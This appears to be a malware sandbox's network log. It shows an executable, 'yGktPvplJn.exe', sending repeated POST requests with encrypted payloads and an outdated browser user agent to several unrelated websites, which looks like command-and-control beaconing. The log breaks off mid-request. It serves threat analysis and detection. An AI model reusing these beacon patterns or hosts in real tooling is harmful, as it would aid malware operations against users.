Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://sjbs.org/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	52584	81.2.194.241	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.636593103 CEST	817	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.edimart.hu Cache-Control: no-cache Data Raw: 2b 42 55 52 4b 34 4b 45 58 76 6a 6c 4a 51 48 44 64 58 6d 35 63 67 56 5a 78 4e 2b 53 51 67 2b 35 31 67 71 46 31 62 57 57 75 48 63 76 58 66 34 77 51 49 6d 54 71 4e 63 30 4b 4b 47 51 45 65 50 4e 6b 53 59 48 64 4b 2f 53 4b 6f 32 5a 4d 54 48 73 48 6f 57 76 61 2f 52 61 72 39 36 74 2f 74 50 44 74 6d 70 45 57 70 46 65 75 50 55 38 62 4d 71 64 55 56 6c 6d 51 33 75 59 39 73 68 78 54 57 76 72 66 35 6b 6f 72 30 55 76 75 32 51 6a 53 49 4b 35 35 62 55 5a 50 4b 4e 31 42 39 36 44 4c 37 76 50 38 57 6d 58 70 4c 42 64 78 53 48 77 38 6e 51 43 4e 57 30 4b 48 74 65 75 44 32 6a 36 51 35 37 75 66 6c 64 6d 78 73 52 4f 59 73 4b 69 4c 70 59 33 75 55 6e 46 48 74 50 6c 62 7a 77 45 41 67 78 37 4d 59 4c 61 70 45 52 69 6f 6b 67 32 42 31 43 49 4d 51 6f 66 65 36 42 41 72 49 42 76 74 38 78 69 46 67 6f 38 34 62 2b 6c 4a 50 56 45 76 5a 46 6a 37 37 42 33 56 39 57 51 47 36 68 78 31 42 35 52 4d 49 79 4f 66 63 56 48 71 34 66 52 64 50 70 56 4d 69 70 6c 73 37 35 61 78 53 4a 6e 47 37 31 6e 2b 30 44 54 61 76 4f 48 4f 73 37 56 4c 51 6f 33 4c 41 [TRUNCATED] Data Ascii: +BURK4KEXvjlJQHDdXm5cgVZxN+SQg+51gqF1bWWuHcvXf4wQImTqNc0KKGQEePNkSYHdK/SKo2ZMTHsHoWva/Rar96t/tPDtmpEWpFeuPU8bMqdUVlmQ3uY9shxTWvrf5kor0Uvu2QjSIK55bUZPKN1B96DL7vP8WmXpLBdxSHw8nQCNW0KHteuD2j6Q57ufldmxsROYsKiLpY3uUnFHtPlbzwEAgx7MYLapERiokg2B1CIMQofe6BArIBvt8xiFgo84b+lJPVEvZFj77B3V9WQG6hx1B5RMIyOfcVHq4fRdPpVMipls75axSJnG71n+0DTavOHOs7VLQo3LAcjFOPULy3FCvbVrJDcFyYj160TgLstXW8kmNbVfyfvC+dvszwlxz5GzGCq+NXt2g5i2+cLNyHKK/Ekqx4DqDVtOG9jKSz04EQ05iDliaWRayxe7Szb2TO+px5PHTkQqafAEP3VroByTLvblrG6kCtawF5AXmSvakMb5acLGk4L+0ZGjtyn6qX99Pwkz5K/G9v3yZRaO07w2Ld64GYB5vHABdNzD1+2XShXksvxRRPEmaNwIJ6d40k=
Oct 25, 2024 11:17:36.509896994 CEST	419	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache Location: https://www.edimart.hu/ Content-Length: 231 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 64 69 6d 61 72 74 2e 68 75 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.edimart.hu/">here</a>.</p></body></html>
Oct 25, 2024 11:17:36.741559982 CEST	817	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.edimart.hu Cache-Control: no-cache Data Raw: 2b 42 55 52 4b 34 4b 45 58 76 6a 6c 4a 51 48 44 64 58 6d 35 63 67 56 5a 78 4e 2b 53 51 67 2b 35 31 67 71 46 31 62 57 57 75 48 63 76 58 66 34 77 51 49 6d 54 71 4e 63 30 4b 4b 47 51 45 65 50 4e 6b 53 59 48 64 4b 2f 53 4b 6f 32 5a 4d 54 48 73 48 6f 57 76 61 2f 52 61 72 39 36 74 2f 74 50 44 74 6d 70 45 57 70 46 65 75 50 55 38 62 4d 71 64 55 56 6c 6d 51 33 75 59 39 73 68 78 54 57 76 72 66 35 6b 6f 72 30 55 76 75 32 51 6a 53 49 4b 35 35 62 55 5a 50 4b 4e 31 42 39 36 44 4c 37 76 50 38 57 6d 58 70 4c 42 64 78 53 48 77 38 6e 51 43 4e 57 30 4b 48 74 65 75 44 32 6a 36 51 35 37 75 66 6c 64 6d 78 73 52 4f 59 73 4b 69 4c 70 59 33 75 55 6e 46 48 74 50 6c 62 7a 77 45 41 67 78 37 4d 59 4c 61 70 45 52 69 6f 6b 67 32 42 31 43 49 4d 51 6f 66 65 36 42 41 72 49 42 76 74 38 78 69 46 67 6f 38 34 62 2b 6c 4a 50 56 45 76 5a 46 6a 37 37 42 33 56 39 57 51 47 36 68 78 31 42 35 52 4d 49 79 4f 66 63 56 48 71 34 66 52 64 50 70 56 4d 69 70 6c 73 37 35 61 78 53 4a 6e 47 37 31 6e 2b 30 44 54 61 76 4f 48 4f 73 37 56 4c 51 6f 33 4c 41 [TRUNCATED] Data Ascii: +BURK4KEXvjlJQHDdXm5cgVZxN+SQg+51gqF1bWWuHcvXf4wQImTqNc0KKGQEePNkSYHdK/SKo2ZMTHsHoWva/Rar96t/tPDtmpEWpFeuPU8bMqdUVlmQ3uY9shxTWvrf5kor0Uvu2QjSIK55bUZPKN1B96DL7vP8WmXpLBdxSHw8nQCNW0KHteuD2j6Q57ufldmxsROYsKiLpY3uUnFHtPlbzwEAgx7MYLapERiokg2B1CIMQofe6BArIBvt8xiFgo84b+lJPVEvZFj77B3V9WQG6hx1B5RMIyOfcVHq4fRdPpVMipls75axSJnG71n+0DTavOHOs7VLQo3LAcjFOPULy3FCvbVrJDcFyYj160TgLstXW8kmNbVfyfvC+dvszwlxz5GzGCq+NXt2g5i2+cLNyHKK/Ekqx4DqDVtOG9jKSz04EQ05iDliaWRayxe7Szb2TO+px5PHTkQqafAEP3VroByTLvblrG6kCtawF5AXmSvakMb5acLGk4L+0ZGjtyn6qX99Pwkz5K/G9v3yZRaO07w2Ld64GYB5vHABdNzD1+2XShXksvxRRPEmaNwIJ6d40k=
Oct 25, 2024 11:17:37.007390022 CEST	419	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Server: Apache Location: https://www.edimart.hu/ Content-Length: 231 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 64 69 6d 61 72 74 2e 68 75 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.edimart.hu/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	52585	188.114.96.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:35.966379881 CEST	798	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wifi4all.nl Cache-Control: no-cache Data Raw: 47 7a 37 33 59 2f 77 2b 6b 76 67 68 71 63 49 4b 70 34 36 51 52 34 39 50 6e 6c 6d 55 48 7a 31 76 38 4d 66 41 44 54 51 4a 35 68 58 6e 52 68 62 47 79 37 67 47 49 39 33 35 56 7a 63 6d 64 67 2f 72 71 59 72 34 69 58 4d 6f 74 46 77 56 69 79 65 75 72 54 4d 74 67 57 46 6c 2f 74 44 47 4e 41 52 73 59 42 7a 79 77 39 6f 55 34 67 72 63 35 6c 34 32 6c 4d 54 67 36 6f 35 53 49 6f 77 32 7a 6c 5a 31 31 73 6f 47 67 59 4c 58 57 66 52 5a 6c 5a 30 5a 32 33 4c 6a 6e 49 53 76 2f 69 4a 6f 2f 49 35 44 50 6f 33 52 5a 47 59 57 70 74 75 4d 77 32 78 33 35 42 4f 4c 33 4e 33 45 2f 7a 4c 32 68 7a 77 61 4f 6e 46 30 68 6b 46 70 31 2b 5a 32 61 73 50 45 46 78 71 6c 4a 70 73 75 4b 71 4b 4f 57 4b 41 55 53 49 59 47 52 64 38 2f 37 55 56 45 44 54 59 35 4c 50 70 5a 70 32 71 31 2b 33 61 44 41 53 74 38 55 76 74 53 65 4f 7a 69 6d 30 41 70 63 50 70 64 75 52 45 37 4f 48 44 6d 58 6e 37 34 4e 6b 62 6d 33 42 71 36 49 61 31 72 70 72 6b 75 59 33 73 4c 36 31 37 78 42 31 63 44 58 53 48 61 37 62 55 2b 41 41 36 56 48 7a 30 31 75 79 6c 31 70 48 64 33 2b 73 [TRUNCATED] Data Ascii: Gz73Y/w+kvghqcIKp46QR49PnlmUHz1v8MfADTQJ5hXnRhbGy7gGI935Vzcmdg/rqYr4iXMotFwViyeurTMtgWFl/tDGNARsYBzyw9oU4grc5l42lMTg6o5SIow2zlZ11soGgYLXWfRZlZ0Z23LjnISv/iJo/I5DPo3RZGYWptuMw2x35BOL3N3E/zL2hzwaOnF0hkFp1+Z2asPEFxqlJpsuKqKOWKAUSIYGRd8/7UVEDTY5LPpZp2q1+3aDASt8UvtSeOzim0ApcPpduRE7OHDmXn74Nkbm3Bq6Ia1rprkuY3sL617xB1cDXSHa7bU+AA6VHz01uyl1pHd3+sLTGTfNzw1+Pg7f2l9CF9i1iWapGZJa0o2mexrOoVW13yPkcr+0fAHFm5GYusLBTo37P/luYcNpj9OpN3imwI2EsOLLvvxVm4y7BMaIgUwwZ6yORX+hWO+mbFxp/QTF0ckGWwJUfwJPunVoUiC10pfbRLUoIF2+gAXh++wHaiYXtbPhv/ZaEBFgkf3nUi6WQv25WqaddmRbGwXcUhKmcFCkXWf07fhB/g==
Oct 25, 2024 11:17:36.583019972 CEST	999	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:36 GMT Location: https://www.wifi4all.nl/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tH%2B95LF9mccQ%2FsLa8whGatKNPBhSqQW1a4Vc2EPKrFb0rNidg9AcrbiiZxRBQSNOjiXsVtvOqXNZUkLyzZEesRK8YPKEayhqqnL%2FWPmfwdsImDse%2Byz3yFT%2FvYrHJQR8hVc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d4f38bf2ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1952&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=798&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:17:36.843833923 CEST	798	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wifi4all.nl Cache-Control: no-cache Data Raw: 47 7a 37 33 59 2f 77 2b 6b 76 67 68 71 63 49 4b 70 34 36 51 52 34 39 50 6e 6c 6d 55 48 7a 31 76 38 4d 66 41 44 54 51 4a 35 68 58 6e 52 68 62 47 79 37 67 47 49 39 33 35 56 7a 63 6d 64 67 2f 72 71 59 72 34 69 58 4d 6f 74 46 77 56 69 79 65 75 72 54 4d 74 67 57 46 6c 2f 74 44 47 4e 41 52 73 59 42 7a 79 77 39 6f 55 34 67 72 63 35 6c 34 32 6c 4d 54 67 36 6f 35 53 49 6f 77 32 7a 6c 5a 31 31 73 6f 47 67 59 4c 58 57 66 52 5a 6c 5a 30 5a 32 33 4c 6a 6e 49 53 76 2f 69 4a 6f 2f 49 35 44 50 6f 33 52 5a 47 59 57 70 74 75 4d 77 32 78 33 35 42 4f 4c 33 4e 33 45 2f 7a 4c 32 68 7a 77 61 4f 6e 46 30 68 6b 46 70 31 2b 5a 32 61 73 50 45 46 78 71 6c 4a 70 73 75 4b 71 4b 4f 57 4b 41 55 53 49 59 47 52 64 38 2f 37 55 56 45 44 54 59 35 4c 50 70 5a 70 32 71 31 2b 33 61 44 41 53 74 38 55 76 74 53 65 4f 7a 69 6d 30 41 70 63 50 70 64 75 52 45 37 4f 48 44 6d 58 6e 37 34 4e 6b 62 6d 33 42 71 36 49 61 31 72 70 72 6b 75 59 33 73 4c 36 31 37 78 42 31 63 44 58 53 48 61 37 62 55 2b 41 41 36 56 48 7a 30 31 75 79 6c 31 70 48 64 33 2b 73 [TRUNCATED] Data Ascii: Gz73Y/w+kvghqcIKp46QR49PnlmUHz1v8MfADTQJ5hXnRhbGy7gGI935Vzcmdg/rqYr4iXMotFwViyeurTMtgWFl/tDGNARsYBzyw9oU4grc5l42lMTg6o5SIow2zlZ11soGgYLXWfRZlZ0Z23LjnISv/iJo/I5DPo3RZGYWptuMw2x35BOL3N3E/zL2hzwaOnF0hkFp1+Z2asPEFxqlJpsuKqKOWKAUSIYGRd8/7UVEDTY5LPpZp2q1+3aDASt8UvtSeOzim0ApcPpduRE7OHDmXn74Nkbm3Bq6Ia1rprkuY3sL617xB1cDXSHa7bU+AA6VHz01uyl1pHd3+sLTGTfNzw1+Pg7f2l9CF9i1iWapGZJa0o2mexrOoVW13yPkcr+0fAHFm5GYusLBTo37P/luYcNpj9OpN3imwI2EsOLLvvxVm4y7BMaIgUwwZ6yORX+hWO+mbFxp/QTF0ckGWwJUfwJPunVoUiC10pfbRLUoIF2+gAXh++wHaiYXtbPhv/ZaEBFgkf3nUi6WQv25WqaddmRbGwXcUhKmcFCkXWf07fhB/g==
Oct 25, 2024 11:17:36.977797031 CEST	1001	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:36 GMT Location: https://www.wifi4all.nl/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aUqbF1LDZWgMCqTnA3znnVYfhsv3lUAkA4dnm%2B8dGSjeRozeAuvn3gdGax9M0bktgjxEIFYubBTx3VVzCsqXqJTArBzXxuMd1XVWnG4UU77%2F1VjGl5q3WRMiglchdZwyR7k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d51ab212ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1948&sent=2&recv=5&lost=0&retrans=0&sent_bytes=999&recv_bytes=1596&delivery_rate=751817&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	52587	193.166.255.171	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:36.112068892 CEST	834	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.synetik.net Cache-Control: no-cache Data Raw: 56 57 36 59 61 79 46 76 71 2f 67 5a 31 41 45 55 67 4c 36 6a 42 66 70 6a 70 46 49 66 68 31 52 2f 35 61 2f 7a 35 50 49 48 36 48 35 32 6f 68 79 51 35 46 7a 59 44 71 43 78 65 56 76 57 64 5a 72 56 2f 53 4d 35 37 37 74 52 43 6b 67 74 72 71 54 72 50 4c 7a 4f 33 31 6b 78 6d 6f 78 47 42 42 68 6d 6c 58 5a 6d 6a 76 5a 35 5a 77 6e 31 34 2f 69 7a 54 6d 4f 58 42 69 32 69 4a 36 2f 6a 70 55 65 69 52 68 74 6a 4e 6f 35 55 39 4d 2f 59 79 63 37 4a 58 39 4f 78 6f 78 73 67 75 4b 44 43 4b 39 65 39 6f 61 72 70 33 63 49 55 4f 4c 37 4c 49 72 46 6e 36 73 4f 66 43 47 76 58 62 2b 6f 68 34 2b 68 78 65 6b 63 78 49 37 4f 33 62 78 4d 62 77 4d 50 79 58 58 50 35 6f 68 53 35 49 46 47 53 64 46 58 57 44 47 42 4f 4c 4c 34 75 77 66 6d 4d 77 2b 37 66 2f 51 4a 34 77 4a 65 62 4e 4f 4b 45 66 68 65 71 6b 48 31 54 46 4a 64 79 64 4a 77 73 4f 6d 77 74 41 2f 76 61 6d 42 69 43 78 32 51 71 33 36 39 42 6f 77 59 44 72 32 51 38 54 50 77 55 4d 57 67 69 71 2f 70 7a 6e 64 64 44 51 32 38 7a 44 42 50 2b 6c 38 61 35 31 63 64 75 72 44 4c 65 52 59 37 6d 63 41 [TRUNCATED] Data Ascii: VW6YayFvq/gZ1AEUgL6jBfpjpFIfh1R/5a/z5PIH6H52ohyQ5FzYDqCxeVvWdZrV/SM577tRCkgtrqTrPLzO31kxmoxGBBhmlXZmjvZ5Zwn14/izTmOXBi2iJ6/jpUeiRhtjNo5U9M/Yyc7JX9OxoxsguKDCK9e9oarp3cIUOL7LIrFn6sOfCGvXb+oh4+hxekcxI7O3bxMbwMPyXXP5ohS5IFGSdFXWDGBOLL4uwfmMw+7f/QJ4wJebNOKEfheqkH1TFJdydJwsOmwtA/vamBiCx2Qq369BowYDr2Q8TPwUMWgiq/pznddDQ28zDBP+l8a51cdurDLeRY7mcAp4AEBuFpxZk53O0GCGvSAQrAm3xjlO9LcYH1q2bF1i7sCIFHpfjR3LIIuAYbAw5bGE3DpRIdq1a/0FIGo3NapzroHLSEOUfds57vU8NYx6it+Ofvwu9ocOG+pjE8dK8/2hvWj88i56g4yOQpv5ILO/csVeQ3SkM5nS5F58trI6oVpu8vJ7/15s/q11OauY8DEa8i69wpdFPxAwwGriFj16FiXjGBsyKcFQ0BgtjRo6A1/cJk91alRa3CGfCC4r/yHbKyI4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	52591	46.242.238.60	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:36.220684052 CEST	831	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.waldi.pl Cache-Control: no-cache Data Raw: 5a 47 53 42 4a 65 54 49 75 66 69 77 4c 58 4e 45 66 2f 34 73 67 72 65 31 42 36 79 63 6f 38 76 38 57 48 77 39 4b 47 30 30 65 51 4b 79 64 4e 4d 41 45 56 56 77 7a 72 77 35 32 53 59 32 51 2b 41 67 39 34 4d 48 33 61 49 65 66 6d 78 77 52 61 79 79 34 36 51 56 5a 31 76 67 63 70 4b 4f 5a 61 39 4c 47 45 71 66 64 6a 2f 47 4c 46 38 32 62 62 48 46 78 51 4f 38 51 33 52 4e 4e 2b 2b 77 37 6b 4e 75 71 78 34 48 46 73 77 37 61 35 4d 51 79 6c 6d 75 62 34 52 62 68 32 44 50 51 43 4e 44 52 62 41 64 75 73 61 6b 48 30 64 33 51 6d 4d 58 41 57 57 62 79 65 67 7a 51 4a 68 64 6e 50 51 63 69 34 63 71 4e 4c 47 7a 52 46 6d 6a 4c 59 43 59 4e 31 4d 43 77 44 33 52 68 37 58 34 58 30 67 58 68 69 4d 4e 67 73 78 47 67 55 64 68 6f 49 74 38 45 46 39 73 50 4a 79 64 68 53 34 32 49 54 34 2b 6b 7a 53 42 71 44 71 44 59 48 49 63 39 51 37 5a 6f 76 68 63 54 4a 49 45 62 61 66 50 7a 6d 74 50 70 52 61 56 32 61 4e 6a 6f 51 35 61 42 58 38 56 79 4e 51 5a 31 34 33 51 76 62 5a 4d 53 69 7a 7a 50 71 43 73 6b 5a 51 50 45 47 64 50 51 43 37 34 6f 49 35 6a 4a 51 [TRUNCATED] Data Ascii: ZGSBJeTIufiwLXNEf/4sgre1B6yco8v8WHw9KG00eQKydNMAEVVwzrw52SY2Q+Ag94MH3aIefmxwRayy46QVZ1vgcpKOZa9LGEqfdj/GLF82bbHFxQO8Q3RNN++w7kNuqx4HFsw7a5MQylmub4Rbh2DPQCNDRbAdusakH0d3QmMXAWWbyegzQJhdnPQci4cqNLGzRFmjLYCYN1MCwD3Rh7X4X0gXhiMNgsxGgUdhoIt8EF9sPJydhS42IT4+kzSBqDqDYHIc9Q7ZovhcTJIEbafPzmtPpRaV2aNjoQ5aBX8VyNQZ143QvbZMSizzPqCskZQPEGdPQC74oI5jJQYo5BaDN9lIdUoQW21oB+XDTHfiN5SDVwPFlNWa7TMUp1KJjde0nByNQJo1j6MD7tT2OdnayBrEEM1h2HgmxZ1+F1cNRQYTFW4NkADIJKYtMnRwXDV7PcFm5WAqWW9sj5XVuVKzQZtwUqaYcGkiroHSrwGwOLC+tNxV9h1wwMfNuDA0hLwGHi989CvqV/Me+q/1KRjVRDmYDi7xbfGFhWmICFDKbeYBLSrQa1YfWWwlYmd+BBJeHC2KjyQhvdg67Ca+O6Q=
Oct 25, 2024 11:17:37.091743946 CEST	787	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 09:17:36 GMT Content-Type: text/html Content-Length: 577 Connection: keep-alive Last-Modified: Fri, 04 Oct 2024 12:17:24 GMT Server: IdeaWebServer/6.2.0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 69 64 65 61 2f 73 74 61 74 69 63 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 74 65 78 74 22 3e 3c 68 31 3e 45 72 72 6f 72 3c 2f 68 31 3e 3c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Error 400</title><link href="/idea/static/style.css" rel="stylesheet"></head><body><div class="error-container"><div class="error-text"><h1>Error</h1></div><div class="error-text-strong"><h1>400</h1></div><div class="error-text"><h1>Bad Request</h1></div></div><div class="error-descr-container"><p>Your browser sent a request that this server could not understand.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	52593	202.254.236.40	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:36.748878002 CEST	809	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.naoi-a.com Cache-Control: no-cache Data Raw: 70 53 6b 2f 44 6b 79 33 73 50 68 47 30 7a 31 57 74 34 72 63 4c 46 39 34 65 4f 49 6b 39 6e 79 77 51 42 31 69 53 32 70 64 44 4c 4f 45 37 56 4d 79 39 4a 78 39 6e 74 70 45 6a 38 67 75 63 4c 6d 79 68 31 72 76 6c 68 2f 2b 47 2f 4b 5a 64 6e 6b 6d 71 73 30 33 5a 67 64 61 4a 57 44 32 53 76 34 70 66 70 31 2f 51 54 56 6c 63 7a 69 62 33 42 2b 6c 30 63 69 51 37 6c 58 4f 64 43 67 2f 51 37 55 72 32 41 52 45 52 34 76 62 59 36 31 47 67 32 65 34 50 6d 4a 38 6b 63 59 67 63 42 52 73 32 54 4c 64 44 44 45 6f 63 4d 2b 42 46 2b 6f 6e 77 50 79 64 52 48 36 71 51 65 2b 75 6b 53 62 55 79 68 55 50 57 6d 4e 4e 63 43 7a 57 7a 6d 79 32 36 6c 76 5a 43 74 61 